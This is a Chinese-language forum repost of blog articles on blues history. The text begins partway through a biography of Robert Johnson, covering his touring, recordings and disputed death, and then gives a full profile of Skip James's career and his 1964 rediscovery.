我给Willie使了个眼色,我们就站了起来,把位置让给了他。他坐了下来,开始弹琴。Robert在琴上多装了一根琴弦,使一把六弦琴变成了七弦琴。我从没见过这种玩意儿,我们都没见过。这孩子开始表演,最后弹完了的时候,我们所有人的嘴都僵在那儿张得老大,他的表演实在太精彩了。”
Johnson在那待了大概一周的时间,House告诉他,音乐家的生活总要面临一些有危害的东西,比如烈酒和狂野的女人什么的,Johnson对此一笑置之。
这大概是1931年时候的事儿,此后的七年时间里,Johnson四处游历,用自己的音乐打动了遇见的每一个人。这些年里,他有时会和同伴Johnny Shines还有一些其他的艺人进行一些短暂的巡演。在同伴的印象中,他是一个英俊而有风度的人,只不过一只眼睛有点问题,但这并没给他带来什么困扰。来自圣路易斯的吉他手和钢琴手Henry Townsend回忆:“他是个黑黑瘦瘦的小伙子,有点儿驼背。看起来很年轻,我猜他也就十几岁。当然,我不知道他确切的年龄是18岁还是15岁,不过他不喜欢被别人看作是个小孩儿,他觉得自己早成年了。”Shines也记得Johnson有点驼背,但印象更深的是他那些细长的手指:“他又长又尖的手指挥动的时候就像只被困的鸟儿一样。”Shines还提到,Johnson很注意自己的外表:“Robert总是很干净。要是他跟你一同在路上走一遭或者干点别的类似的事的话,你看看你自己,肯定会脏的跟头猪一样,但是Robert就会干干净净的。怎么做到的?我也不知道。”
至于他的性格,有一点大家都很认同。他在公众面前挺外向,但私底下却很孤僻。Shines经常说他是一个矛盾的结合体。“Robert待人友好,但有时很容易动怒;他缺乏自信,但毫不含糊;他从不谈论自己也不自吹自擂,大多时候都很安静——直到喝了酒之后——就像所有人那样——喋喋不休起来!他是那种很奇怪的家伙,经常会站在某个地方旁若无人地弹吉他。人们着迷于他的音乐。这时候,就像有个强盗在他身边一样,钱会从四面八方飞过来。而罗伯特只是起身离开,留下你傻愣愣地站在那儿。接下来,你可能两三周的时间都不会再见到他。”
Shines是极少数经常跟Robert Johnson巡演的人,也可能是唯一的一个。Shines也是三角洲一带出色的吉他手和歌手,后来经由一位朋友介绍,与Robert Johnson相识。很快,两个年轻人就开始一同上路了。
“Robert是这么一个人,你可以在任何时间叫醒他上路。比方说,你从孟菲斯过来准备去埃伦娜,我们可能要在那表演一晚上直到第二天一早才能躺下睡觉。如果这时候你听到火车的声音,说,‘Robert,火车来了,我们快走吧。’他二话不说就收拾好了,他总是准备好了要上路...我跟他在一块儿总像是个跟班的,我并不是说他故意要这样,他是那种始终跟人保持一定距离的人,所以这有点难以相处,但他有我喜欢的地方。Robert和我一块儿表演了很多次——去过芝加哥、得克萨斯、纽约、加拿大、肯塔基、印第安纳。我之所以一直跟着他是因为我想从他那儿学点什么。”
Johnson和Shines到任何能找着观众的地方表演——私营酒吧、舞会、小旅馆等等。在那些日子,他们不知道自己的下一站会在哪里。有时他们在街边弹几个曲子,如果聚过来的人多了,就收一点小钱。运气好的时候会遇到某个老板,叫上他们去自己的店里表演。
(待续..)
Robert Johnson:与魔鬼同行 (三)(2010-03-09 17:21:00)转载▼标签: 杂谈
三角洲是个穷乡僻壤,演出的地方也不怎么样。很多时候所谓的场地就只是把屋里的家具给搬走,腾出空间来让大家跳跳舞。Shines回忆说像Johnson和他自己这样小有名气的人一晚上大概能挣六美元,而其他人就只能挣到一美元左右,此外再弄点吃的填填肚子就不错了。演出也分时节,秋天要比一年中其他时候都好,因为是收获的季节,大家手边钱也多一些。境况不好的时候,他就会回孟菲斯待段时间,直到下一个季节来临。
Johnson有时候也会待在孟菲斯,但他更愿意去找点事做,不管他到了哪儿,总能找得到观众。有一次,他跟Shines在西孟菲斯某地,那地方被烧了个精光,连他俩的吉他也遭了殃。Johnson不知从哪儿掏了个口琴出来,跑到61号高速公路那用手打着拍子唱歌,没几分钟整条路就堵满了车。
三角洲的老艺人们大多唱一些乡村的、富有地域性的歌,比如Patton和House。而Robert Johnson表演的领域则很广泛,从山地音乐到好莱坞的牛仔音乐都有涉及,甚至包括Bing Crosby那样的百老汇风格。Johnson从收音机听来这些东西,随后就用自己的方式演绎出来。他并不关心听到的音乐是流行歌曲、民歌还是布鲁斯,他只在意自己是否喜欢它们。有时候Johnson白天听收音机,到天黑了就跑上街,选出四、五首比较喜欢的唱这么一晚上。如果唱得高兴了,还会即兴编曲,一切都是信手拈来。Johnson能飞快地作出一首歌来,但是几天之后你要是让他再唱一次的话,他可能已经忘得精光了,用他的话说就是灵感的东西,稍纵即逝。
不久,Johnson的转折来了,他开始录一些自己的原创音乐。《Sweet Home Chicago》改编自Kokomo Arnold的一首热门单曲,Johnson为它取了个很适合三角洲原住民的标题。《Come On in My Kitchen》则是首讲述孤独的歌曲,改编自Tampa Red的《Things' Bout Coming My way》。Shines说,“Johnson的吉他就像会说话一样,这世上除他之外没人能够做到。有一次在圣路易斯,我们弹奏那首《Come On in My kitchen》,他弹得很慢,充满激情。当我们表演完了,我发现所有的人都一言不发。后来我意识到原来大家都在哭——不管是男是女。”
1936年,Johnson在同辈人中已是出类拔萃,但他依然没能得到应有的尊重和名气。他四处游历,但奇怪的是没去芝加哥的工作室。当时,很多顶尖的布鲁斯热门歌曲都是在那制作的。或许,他是怕自己会迷失在大城市的喧嚣中,又或者他其实去了,但却没什么结果。这一年,他走进了H.C.Speir在Jackson的家具店。Speir已从一个卖留声机和唱片的商人转行为一名星探,专门发掘密西西比一带的布鲁斯艺人。他替很多人搞来了唱片合同,包括the Mississippi Sheiks、Bo Carter、Charley Patton、Tommy Johnson、Ishmon Bracey、Skip James、Son House等等。1930年代中期,唱片公司都在极力避开乡村艺人,但Speir还是被Johnson给打动了,他联系上了ARC公司中南部的经纪人Ernie Oertle。后者也对Johnson颇感兴趣,随后为其安排了在得克萨斯圣安东尼奥的录音。
Oertle将Johnson带去了圣安东尼奥的Gunter Hotel,ARC公司在那搭了个临时的录音室,并委派制作人Art Satherley和Don Law在那为一些民间艺人录音。Johnson去的那个礼拜,除他之外,还有两批墨西哥艺人跟一支牛仔“诶掷滞乓苍谀嵌ohnson是名单中唯一一个布鲁斯歌手。据Don Law说,Johnson当时好像有些怯场,不敢面对听众。所以,他就搬了个椅子来对着墙弹唱,好让自己放松一些。直到他平静了下来,也还是不愿把脸转过来。不过也有人对Law的说法不以为然,一种说法是Johnson之所以这么干,是因为不想让自己的技术被那些墨西哥佬给偷学了去。还有一种说法是,Johnson觉得对着墙弹吉他,出来的声音效果要比对着屋里空荡荡的空间要好。不过后者的可信度可不太高,Johnson对录音的技术应该不那么在行吧。Law的说法更有道理些,尽管那会儿Johnson已经有很多次的演出经验,但这毕竟是他第一次录音,是个决定他未来成败的时刻,技艺再精湛的人碰到这样的情况也多多少少会有些紧张。那个礼拜Johnson一共去了三次,录了16首歌,每首歌都录了两个版本。
这是经济大萧条最让人绝望的时期,基本上所有的布鲁斯艺人都没什么出路,除非他们的头上顶着芝加哥乐队的牌子。即使如此,Johnson的初次登场也是足够闪亮。《Terraplane Blues》这首歌让很多人的目光重回布鲁斯之乡密西西比三角洲,就连Son House都发出由衷赞叹:“我第一首听到的就是《Terraplane Blues》,天呐,真棒!我们相当佩服,这孩子真的是成功了!”
这些录音对Johnson的意义是毋庸置疑的。他兴奋无比地带了些录音给自己的亲朋好友,并且告诉Johnny Shines自己挣了差不多快一百美元。在那些日子,很少有乡村艺人能得到版税,有时候即使合同里签了,他们也拿不到手,像Johnson这样能提前拿到钱的就更是凤毛麟角,这对公司来说简直就是场赌博。Johnson靠自己这16首歌差不多赚了几百美元,这对大萧条时期的一个流浪艺人来说足够称得上是笔财富。Johnson从来没在这么短时间里挣过这么多钱,没准他照片上的那套油光闪亮的西装就是用这钱买的。录音的发行也使johnson在小酒吧演出的收入比以前多了一些。
ARC欣喜于录音销售的成功,便让Johnson在六月份再回来录点东西,制作人对Johnson作品中蕴含的巨大潜力充满信心。于是,在他首次录音的七个月后,Johnson来到ARC设在达拉斯的另一间临时录音室录了13首歌。之后,又踏上了流浪之路。
很不幸,厄运就在不远处等着Robert Johnson。除了音乐和酒以外,Johnson离不开女人,他是个情圣。正如Shines所说,"女人对Robert来说就像是汽车旅馆或酒店的房间一样,即使他一再利用她们,最终也会把她们甩了。上帝保佑,他根本就没辨别能力。就像耶稣一样,他爱她们所有人。相比那些年轻点的,他更喜欢那些三十多岁的女人,因为这些女人会给他路费。"多数女人都会承认这一点,她们也都知道自己遇上的是个落魄混乱的艺术家,几乎没人会有与之长久相处的幻想。虽然女人们对这一点很坦然,但对男人们来说就是另一回事了,谁都不喜欢自己的女人躺在别人的怀里。Johnson经常同一些女人回家,可等她们的丈夫或者男友一回来,他就只好狼狈地夺门而出。
好运不常有,出来混,总归要还。David "Honeyboy" Edwards当时在三角洲一带混迹,他与Johnson临时组了个队在一个小酒馆表演,地点靠近格林伍德西部的三叉区。酒馆老板发现Johnson在和自己的老婆调情,于是心生歹念,让Johnson的朋友端了杯下过毒的威士忌给他。Johnson对此全然不知,喝了酒之后继续给大家表演,直到夜里一点多钟的时候才感到有些不适。但那会儿大家都玩得很开心,每个人都希望Johnson能继续唱下去。2点多钟的时候,Johnson已难受得无法表演,人们才把他送回了镇子。
三天后,他死在了旅馆的床上。死前,备受煎熬。
关于他的死因,有多个说法不一的版本。上面所说的是流传最广的,说他死于1938年8月16日。还有人说他是被人枪杀的,官方证明则说他死于梅毒,而他的家人出席他的葬礼时却说他死于肺炎。众说纷纭,直到如今,人们还无法习惯才华横溢的人早早离世,即使死亡在某方面成就了他们的传奇。
Robert Johnson被安葬在了密西西比7号公路的路边,他的最后心愿得以补偿。
You may bury my body
down by the highway side
spoken: Baby, I don't care where you bury my body when I'm dead and gone
(完)
本帖最后由 会做梦的大猫 于 2017-4-1 19:27 编辑
无意中在一个博客中看到了一些介绍布鲁斯大师的生平,现发上来。
http://blog.sina.com.cn/s/articlelist_1402280882_0_1.html
skip james:被遗忘的天才
这是布鲁斯音乐史上最著名的照片之一,Skip James在纽波特音乐节上登台表演
早在上世纪30年代的时候Skip James就有机会成为巨星,但他没赶上好时候。二十年代是布鲁斯音乐和唱片工业的黄金十年,可接下来的“大萧条”让一切幻灭。电台开始免费播歌,爵士成为最受黑人欢迎的音乐,布鲁斯唱片开始滞销,一些公司不得不歇业关门,这当中包括曾经的巨头——派拉蒙唱片。很不幸,Skip就是在他们那录的唱片。
没有想像中的名利双收,甚至没拿到一点像样的报酬。也许那是Skip James一生中最灰暗的时刻,也许他也开始怀疑自己深爱的布鲁斯是否真的一文不值。在给派拉蒙录了两次唱片之后,他就这么消失了。有人说,他回去当了牧师。
Skip James本名Nehemiah Curtis James,他出生在一个基督教家庭,父亲是浸信会牧师。家里人本希望他继承父业,可他很小的时候就与布鲁斯结缘。在很多人看来,布鲁斯是魔鬼的音乐,那些演奏布鲁斯的艺人,居无定所,颠沛流离,他们全都出卖了自己的灵魂。Skip十几岁的时候就退了学,之后当过筑路工、佃农、私酒贩子甚至皮条客,他从不会在一个地方停留太久,也许就这是他的绰号"Skip"的来由。
1931年的2月,Skip James给杰克森(Jackson)一个唱片店的老板Henry C.Speir做了场试唱。Speir除了开店之外,还为唱片公司挖掘人才。很多人都是通过他拿到了唱片公司的合约,这当中有Robert Johnson、Charley Patton、Bo Carter等等。Speir阅人无数,听过最好的布鲁斯,所以当Skip James背着吉他走进他的店门时,他并未在意。在他看来,这只不过又是一个长相普通的流浪艺人。可当Skip一弹吉他,Speir就来了精神,他从未听过这样的声音。Skip的音乐很另类,舒缓的节奏下压抑着强烈的情绪,而他的假音高昂、神秘,甚至让人惊惶。这完全有别于其他三角洲布鲁斯艺人的风格。Speir知道自己捡到了宝,随即塞给Skip James一张去威斯康辛的火车票,派拉蒙唱片在那里有一个临时录音室。
行程很顺利,Skip James在两天里录了26首歌。这当中包括那首最经典的《魔鬼带走了我的女人(Devil Got My Woman)》。他是在自己一次短暂的婚姻结束时写下的这首歌。Skip曾跟一位牧师年轻的女儿结婚,但婚后这个女人常常背着他在外偷情。Skip知道了之后非常难过,于是一遍又一遍地在歌中诉说“我宁愿变成魔鬼也不要当那个女人的男人(I would rather be the Devil than to be that woman's man)”。要知道,Skip是个基督徒,若非真的心伤,他绝不会背叛自己的信仰。《Hard Times Killing Floor Blues》是这次录音里的另一首经典,凄凉、悲伤,Skip James在歌里描绘了大萧条的景象。从二十年代末开始的这次经济衰退席卷了整个美国。穷人的生活最先被摧垮,显然,这当中受伤害最深的是Skip James这样的黑人。
派拉蒙后来只发行了这两次录音中的18首歌曲,并且数量不多。大萧条期间,布鲁斯唱片的销售一落千丈,Skip James刚刚崭露头角就以失败收场。日子越来越不好过,渐渐地,他连演出的机会都找不到了,没人对他演奏的音乐感兴趣。他把这看看作是上天的启示,他愿意做任何事情来洗脱自己的“罪行”。他选择了远离布鲁斯,远离魔鬼的音乐,重新回到教会的怀抱。
这一去,就是三十年。
从四十年代的早期开始,布鲁斯插上了电。来自德州的Aaron "T-Bone" Walker从一些电吉他爵士乐手那里吸取了灵感,并且将之应用在布鲁斯表演中。他创造了一种崭新的风格,之后B.B King、Lowell Fulson等人也开始追随这种风格。来自密西西比三角洲的Muddy Waters、Elmore James和Howlin' Wolf等人去了芝加哥之后,也开始迅速跟风。“芝加哥布鲁斯(Chicago Blues)”诞生了,粗野、华丽,让人血脉贲张。但布鲁斯最传统的风格被人遗忘了。
直到六十年代初,白人乐迷开启了一场布鲁斯复兴的运动,这些人很多都是Muddy Waters和Howlin' Wolf的歌迷,他们想要探寻这种音乐的本源,于是开始遍寻南方,企图找到那些被遗忘的布鲁斯艺人。
1964年,三个布鲁斯狂热爱好者在密西西比的一家医院里发现了Skip James。Skip身患癌症,急需手术。为了筹集手术费,Skip答应了去纽波特音乐节表演。但大家发现一个问题,他已经三十多年没碰过吉他了。于是,这三个人开始重新教他怎么弹吉他,而Skip也通过听唱片回忆歌词。也许,这是他第一次听自己的唱片。
Skip James(左)和Son House在一起
7月,Skip James在纽波特音乐节登台亮相。有意思的是,尽管有之前的邀约,Skip能够上台表演的真正原因却是拜Son House所赐。Son House也是三角洲布鲁斯的代表人物,他差不多是在Skip被发现的同一时间被人找到的。64年的这次音乐节组织方本打算让Son House表演,但House喝多了,吉他都拿不稳,所以,Skip才得以顶替。
没人知道Skip James在登上舞台的那一刻是否心潮澎湃,他这辈子恐怕都没在这么多人面前唱过歌。对于台下的观众来说,Skip只是又一个上台表演的艺人,但对Skip自己来说,这也许是他一生中最重要的时刻。Skip拨动琴弦,一声长叹,“我宁愿变成魔鬼也不要当那个女人的男人……”。这把声音穿越了三十余载,让观众有些手足无措,几乎所有人都沉浸其中。直到Skip唱完最后一句,观众才报以热烈的掌声。
这是一个历史时刻,布鲁斯音乐重生。
Skip James在纽波特音乐节上的成功表演倍受吹捧,在这之后他录了不少唱片,但好景不长。一方面,他毕竟有三十多年没弹过吉他了,所以大多时候都是在重复自己,唱的都是当年的旧歌。另一方面,他的性格变得乖僻,在酒吧表演的时候说得比唱得还多,有时还训斥观众。渐渐地,冲他而去的人越来越少,Skip James很快又淡出了人们的视线。
Skip James在医院的时候曾写过一首歌——《病床布鲁斯》(Sick Bed Blues),里面有句歌词,“他也许好过一些,但永远康复不了(He may get better but he'll never get well no more)。”或许这首歌预示了他的命运,大大小小的手术只是延长了他的寿命。1969年10月,他在费城离世,距他在纽波特音乐节的首次登台只过了五年。
这一次,他不会回来了。
(刊于《优悦生活》) eric clapton 表示不服
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